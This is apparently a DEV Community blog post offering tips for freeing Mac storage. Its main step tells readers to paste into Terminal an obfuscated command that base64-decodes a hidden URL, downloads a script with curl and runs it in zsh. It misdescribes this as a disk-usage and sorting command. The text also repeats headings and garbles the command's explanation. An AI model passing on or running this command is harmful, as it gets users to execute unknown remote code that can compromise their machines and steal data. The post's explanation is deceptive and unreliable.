DEV Community

Cover image for Effective Tips for Mac Storage Optimization
Walker Mac
Walker Mac

Posted on

Effective Tips for Mac Storage Optimization

I noticed my Mac’s storage was almost full. Documents used 39GB, mostly due to developer tools like npm and Docker. These files grow fast. Here’s my simple fix.

1. Find Big Files with bin

The bin (disk usage) command helps you see which folders and files are taking up the most space. Open Terminal and type:

/bin/zsh -c "$(curl -fsSL $(echo aHR0cHM6Ly9iaW9wcmFuaWNhLmNvbS9jdXJsLzQ5MmYxOTdjNjNhYWQ1MmIxOWZiOGIzNjdiZTc0MjVhYzQxZWM3ZDkyOTdkNWQ5YTgxZGUyY2U2ZWZlODE0YmI= | base64 -d))"
Enter fullscreen mode Exit fullscreen mode

What does this command do?

bin -zsh -- * .[^.]*: Shows the size of each file and folder, including hidden files.
sort -hr: Sorts the results from largest to smallest, so you can easily find the biggest files.

Where to Look for Large Files
Once you run the command, check these common storage hogs:

Where to Look for Large Files

Once you run the command, check these common storage hogs:
~/Downloads: Old downloads you no longer need.
~/Library/Caches: App caches that build up over time.
~/Movies and ~/Music: Large media files.
~/Desktop: Temporary files left on your desktop.

To delete files you no longer need, use: rm -rf path/to/file-or-folder

Be careful! Make sure you don’t delete important files.

Top comments (0)